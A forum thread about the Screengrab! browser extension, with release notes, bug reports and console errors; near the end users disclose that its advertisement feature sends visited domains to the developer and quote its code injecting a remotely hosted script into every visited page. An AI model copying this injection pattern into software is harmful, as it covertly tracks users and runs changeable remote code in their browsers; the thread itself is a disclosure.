[EXT] Screengrab!

Announce and Discuss the Latest Theme and Extension Releases.
Post Reply
User avatar
GµårÐïåñ
Posts: 218
Joined: March 26th, 2008, 1:43 pm
Location: Area 51.2
Contact:

Re: [EXT] Screengrab!

Post by GµårÐïåñ »

DanRaisch wrote:Not what you were reporting but how you chose to respond after doing that. He was paying attention and he did respond. You mentioned breaking the extension and he replied that perhaps that was why the setting did't work. What's dismissive about that? Let's drop it there if you are serious about all this just being a problem report.
SO even you didn't bother reading it before commenting like he did dismissively without understanding. When did I ever say I broke the extension? Why don't you got back three messages and ACTUALLY read it and then get back to me. The hack I did was the ONLY WAY it actually worked, so please read and understand before adding unnecessary input. This is what leads to well deserved frustration and snowball into less than polite responses.

Start reading here: http://forums.mozillazine.org/viewtopic ... #p14798161 and pay attention to both sides of the conversation and see if you get it.
Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k
pag77
Posts: 1642
Joined: December 26th, 2013, 10:46 pm

Re: [EXT] Screengrab!

Post by pag77 »

version 2.13
https://addons.mozilla.org/addon/screen ... x-version/
https://chrome.google.com/webstore/deta ... mipdeegbpk

added: Option: Save (+MHTML)
MHTML is a standard format supported by most browsers. It encapsulates in a single file a page and all its resources (CSS files, images..).
http://tools.ietf.org/html/rfc2557
only for Google Chrome, currently MHTML is not supported in Firefox:
https://bugzilla.mozilla.org/show_bug.cgi?id=18764

added: Image format: WebP
https://developers.google.com/speed/webp/
only for Google Chrome, currently WebP is not supported in Firefox:
https://bugzilla.mozilla.org/show_bug.cgi?id=1294490

fixed: minor bug fixes
pag77
Posts: 1642
Joined: December 26th, 2013, 10:46 pm

Re: [EXT] Screengrab!

Post by pag77 »

version 2.14
https://addons.mozilla.org/addon/screen ... x-version/
https://chrome.google.com/webstore/deta ... mipdeegbpk

changes:
changed: Option: Save (+MHTML):
Google Chrome painfully reacts to the file "*.mhtml"
the extension of the saved file is changed to .mht

updated: Korean locale (thanks VenusGirl)
fixed: minor bug fixes
serj.kzv
Posts: 5
Joined: March 24th, 2018, 11:58 am

Re: [EXT] Screengrab!

Post by serj.kzv »

kubuntu 18.04.1 x64
notification flickering, gif is here https://imgur.com/a/U3Fgsyx
User avatar
windyplayer
Posts: 10
Joined: June 28th, 2012, 12:42 pm

Woops - can't capture a page

Post by windyplayer »

I love screengrab! and use it all the time. And it works, all the time, Except on this page:

https://www.vizio.com/tvs/p65e1.html

When I use visible portion, nothing happens.
When I use Complete Page, I see a little progress bar and nothing happens.
On any another page, it works just fine.
I restarted FF 61.0.1 and tried again. Same thing.
How, and Why, would this page prevent this? Or is it an accident?
I'm using Ghostery with everything blocked, but the page displays fine, and I really need to do that.
Like I said, with Ghostery on, all other pages capture fine with ScreenGrab!. Not sure why Ghostery might be an issue when the page is fine. with it on. I'm not saying that Ghostery has anything to do with it, Just saying I use it.
Thanks a ton.
wp
User avatar
GµårÐïåñ
Posts: 218
Joined: March 26th, 2008, 1:43 pm
Location: Area 51.2
Contact:

Re: [EXT] Screengrab!

Post by GµårÐïåñ »

Why is the latest version (2.14) being disabled as unverified which they state is when the package is missing a signature?

Image

Firefox 61.0.2 (64-bit)
Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k
MZmurphy
Posts: 2
Joined: September 4th, 2018, 12:08 pm

Re: [EXT] Screengrab!

Post by MZmurphy »

I have read most of this 7 page long thread, and many of the problems seem to be blamed on "limitation from WebExtensions".

However, there are several issues since upgrading from the xul version that I at least cannot recall to have had ever before and
which might (or should) not really be downright impossible to resolve, so I'll list them anyway:

SAVING
  • It's impossible to define any sensible default destination folder, because — as the configuration dialog states — "only subfolders" of the Downloads folder are allowed, and "absolute paths and paths containing backlinks" (a.k.a. truly relative paths) "will be ignored!"
  • In fact, absolute paths entered in said configuration dialog are not simply ignored, but make the whole extension stop working! All you can still do is to open the settings again and to remove the path from the configuration, nothing else does anything anymore. --> Nice way to kill a coworkers ScreenGrab and forcing him to do a reinstallation ... given that he doesn't know about this bug, haha!
  • Worst thing is, once you have specified a sensible saving destination folder, it isn't even remembered; you have to specify it over and over again for every single screenshot! — Seriously? The last piece of software of a comparably high development level like ScreenGrab I used, not remembering the last used save folder, is like from the '90s ...
Workaround: I placed several shortcuts to meaningful, individual destination folders within the "ScreenGrab" folder. But this can't really be it. Further problems with that:
  • Creating a shortcut "example" within the "ScreenGrab" folder and setting the default download folder to "ScreenGrab/example" creates another, regular "example" folder, since the shortcut is actually named "example.lnk" as we should know. I tried it anyway, because:
  • Setting the default download folder to "ScreenGrab/example.lnk", with the quick save option being selected, causes the "Image is saved" popup to appear ... but in fact nothing is saved anywhere! Another bug.
  • Setting the default download folder to "ScreenGrab/example.lnk", with the quick save option being unselected though, causes another kind of "misbehavior" — yet I won't tell you what it is, since it is exactly something I earlier described as a missing standard feature which you will probably claim to be impossible to implement due to "limitation from WebExtensions" ... but let's wait and see ^^
HOTKEY
  • You can define a hotkey, but all that it does is call one of the provided menu items depending on the action being specified in the settings. None of them allows to simply save a screenshot without facing further dialogs.
  • Then again, there is this quick save option labeled "Quickly save (without prompt to filename and dir)" — I'm not a native speaker, but this doesn't sound like valid English to me? — in the settings ... however, it's useless for the above said reasons: appropriate destination folders are neither remembered nor configurable as default folders.
  • Even making use of the welcome aforementioned "misbehavior" doesn't eventually solve the issue, since this finding unfortunately only works in a useful way (or better, at all) with the quick save option being unselected.
So to make this long story short, a.k.a "TL;DR" :
What I'm desperately missing, what I would really like to see and what could be a #1 feature for a lot of users I guess, would be a (configurable) hotkey and/or a context menu item that allows you to just save a screenshot to a once specified folder without any further user interaction. But please, at least fix the "remember last used destination folder" issue. This would save loads of time and an enormous amount of hassle.
User avatar
GµårÐïåñ
Posts: 218
Joined: March 26th, 2008, 1:43 pm
Location: Area 51.2
Contact:

Re: [EXT] Screengrab!

Post by GµårÐïåñ »

On a lot of pages, I am getting a lot of these in the console:

Code: Select all

Error: ID already exists: s3sg_context_save_popup ext-menus.js
Error: ID already exists: s3sg_context_copy_popup ext-menus.js
Error: ID already exists: s3sg_context_preview_popup ext-menus.js
Error: ID already exists: s3sg_context_settings_separator ext-menus.js
and it causing the page to hang, meaning it will never complete and if you have any other scripts they fail to run because of this blocking.
Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k
User avatar
GµårÐïåñ
Posts: 218
Joined: March 26th, 2008, 1:43 pm
Location: Area 51.2
Contact:

Re: [EXT] Screengrab!

Post by GµårÐïåñ »

After the latest update to 2.16, there are even more errors in the console:

Code: Select all

Error: Could not find any MenuItem with id: s3sg_context_copy_popup
ext-menus.js
Error: ID already exists: s3sg_context_last_operation ext-menus.js
Error: ID already exists: s3sg_context_last_operation_separator ext-menus.js
Error: ID already exists: s3sg_context_save_popup ext-menus.js
Error: ID already exists: s3sg_context_last_operation ext-menus.js
Error: ID already exists: s3sg_context_last_operation_separator ext-menus.js
Error: ID already exists: s3sg_context_save_popup ext-menus.js
Error: ID already exists: s3sg_context_copy_popup ext-menus.js
Error: ID already exists: s3sg_context_preview_popup ext-menus.js
Error: ID already exists: s3sg_context_settings_separator ext-menus.js
Error: ID already exists: s3sg_context_settings ext-menus.js
Error: ID already exists: s3sg_context_last_operation ext-menus.js
Error: ID already exists: s3sg_context_save_popup ext-menus.js
Error: ID already exists: s3sg_context_copy_popup ext-menus.js
Error: ID already exists: s3sg_context_preview_popup ext-menus.js
Error: ID already exists: s3sg_context_settings_separator ext-menus.js
Error: ID already exists: s3sg_context_settings ext-menus.js
Error: ID already exists: s3sg_context_last_operation ext-menus.js
Error: ID already exists: s3sg_context_last_operation_separator ext-menus.js
Error: ID already exists: s3sg_context_save_popup ext-menus.js
Error: ID already exists: s3sg_context_copy_popup ext-menus.js
Error: ID already exists: s3sg_context_preview_popup ext-menus.js
Error: ID already exists: s3sg_context_settings_separator ext-menus.js
Error: ID already exists: s3sg_context_settings ext-menus.js
Content Security Policy: The page’s settings blocked the loading of a resource at self (“script-src”). Source: call to eval() or related function blocked by CSP.
And there is no changelog saying what supposedly changed between 2.14 and 2.16 and the indication of eval() is bothersome.
Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k
mtmail
Posts: 1
Joined: September 27th, 2018, 2:59 pm

Re: [EXT] Screengrab!

Post by mtmail »

Screengrab 2.16 on Firefox 62

Checking my about:config the value for extensions.screengrab.advertisement is set to off2. I don't know why, I have the extension installed for years. Might have been set by an older version. I didn't modify the value myself.

prefs.js initializes the preferences with

Code: Select all

'advertisement' : 'wait',		// wait, check, on, off
discount_go.js checks for

Code: Select all

if (advertisement == 'off') { return; }
Effectively the extension has send my IP address (implicit) and every domain I visited (explicit) in the last year(s) to their server.

May I suggest to change the logic to

Code: Select all

if (advertisement !== 'on') { return; }
In my opinion
To improve the functionality of our extensions, we may collect non-personalized browsing history.
from http://www.s3blog.org/screengrab/privacy.html is misrepresenting WHY data is being collected. A list of domain names doesn't improve the functionality of the extension, it improves the money situation of the developer. May I suggest something like "If opted-in we collect non-personalized browsing history to offer you discount deals. We receive a share of income from those deals"
Papou
Posts: 3
Joined: October 31st, 2018, 6:44 am

Re: [EXT] Screengrab!

Post by Papou »

mtmail wrote:Screengrab 2.16 on Firefox 62

Checking my about:config the value for extensions.screengrab.advertisement is set to off2. I don't know why, I have the extension installed for years. Might have been set by an older version. I didn't modify the value myself.

prefs.js initializes the preferences with

Code: Select all

'advertisement' : 'wait',		// wait, check, on, off
discount_go.js checks for

Code: Select all

if (advertisement == 'off') { return; }
Effectively the extension has send my IP address (implicit) and every domain I visited (explicit) in the last year(s) to their server.

May I suggest to change the logic to

Code: Select all

if (advertisement !== 'on') { return; }
In my opinion
To improve the functionality of our extensions, we may collect non-personalized browsing history.
from http://www.s3blog.org/screengrab/privacy.html is misrepresenting WHY data is being collected. A list of domain names doesn't improve the functionality of the extension, it improves the money situation of the developer. May I suggest something like "If opted-in we collect non-personalized browsing history to offer you discount deals. We receive a share of income from those deals"
Thank you for post.

I have recently discovered that Screengrab is the culprit for opening and closing browser tabs when visiting certain online shops (to implant their referrer and profit from every visit/buy).
In my case the value for extensions.screengrab.advertisement is also set to off2 without me knowing about it (and certainly without me explicitly activating advertisements).

Could you confirm that the IP address and domain (not complete URL?) are the only values sent to their server? Have you analysed the traffic or source code?
Papou
Posts: 3
Joined: October 31st, 2018, 6:44 am

Re: [EXT] Screengrab!

Post by Papou »

I found a bit of time to dig around in the current source code of Screengrab! 0.99.04c (https://addons.mozilla.org/firefox/down ... -fx+sm.xpi).

Header.js contains this function

Code: Select all

screengrab.advertisement = function(event) {
	var mozilla_prefs = screengrab.addon.prefService.getBranch("extensions.screengrab.");
	var advertisement = mozilla_prefs.getCharPref("advertisement");
	if (advertisement != 'on') { return; }

	//-----------------------------------------------------------------------------------
	var doc = event.originalTarget;  
	var is_root_frame = false;

	if (doc instanceof HTMLDocument) {
		is_root_frame = true;
		if (doc.defaultView.frameElement) {
			is_root_frame = false;
		}
	}

	//-----------------------------------------------------------------------------------
	if (! (doc.location && doc.location.hostname && (doc.location.protocol == 'http:'))) {
		return;
	}
	//-----------------------------------------------------------------------------------
	if (! is_root_frame) {
		return;
	}
	//-----------------------------------------------------------------------------------
	if (doc.contentType && (! /html/i.test(doc.contentType))) {
		return;
	}
	//-----------------------------------------------------------------------------------
	var elm = doc.getElementsByTagName("body")[0];
	if (!elm) { return; }

	//-----------------------------------------------------------------------------------
	var s = doc.createElement("script");
	s.type = "text/javascript";
	s.src = 'https://s3.amazonaws.com/js-static/b552766c817ef4accc.js';
	//-----------------------------------------------------------------------------------
	elm.appendChild(s);
}
...this appends a script (under defined circumstances) to the document.

Since this script can be modified any time (and has for example been modified on 5. Nov 2018 according to the HTTP response) there is no way to know if the only things transferred to a potentially malicious entity are the current IP address and the visited domain.

It might be quite a good idea for those people who had the disadvantage to use this add-on with the broken advertisement preferences to make a risk/damage assessment themselves and maybe change a few passwords...
Papou
Posts: 3
Joined: October 31st, 2018, 6:44 am

Re: [EXT] Screengrab!

Post by Papou »

For future reference, this is the [b]b552766c817ef4accc.js[/b] as of now:
[url]https://pastebin.com/WXBRbAhZ[/url]
[url]https://pastebin.com/4FRGJV1G[/url] (beautified)
Last edited by trolly on November 20th, 2018, 2:41 am, edited 1 time in total.
Reason: Use links at your own risk.
User avatar
malliz
Folder@Home
Posts: 43796
Joined: December 7th, 2002, 4:34 am
Location: Australia

Re: [EXT] Screengrab!

Post by malliz »

What sort of man would put a known criminal in charge of a major branch of government? Apart from, say, the average voter.
"Terry Pratchett"
Edster
Posts: 19
Joined: July 1st, 2004, 3:04 pm

Re: [EXT] Screengrab!

Post by Edster »

Wondering what's going on with this addon in light of what Papou reported above. Not sure if anyone noticed but it was effectively removed from AMO several weeks ago with no explanation why. It had been reverted to the pre-WebExtensions version 0.99.04c dated July 16, 2016, so it disappeared from the addon site search results for current versions of Firefox, but remained listed as a legacy extension (until Mozilla removed all legacy extensions today).

Just seems a suspicious sort of thing to have happened.
Post Reply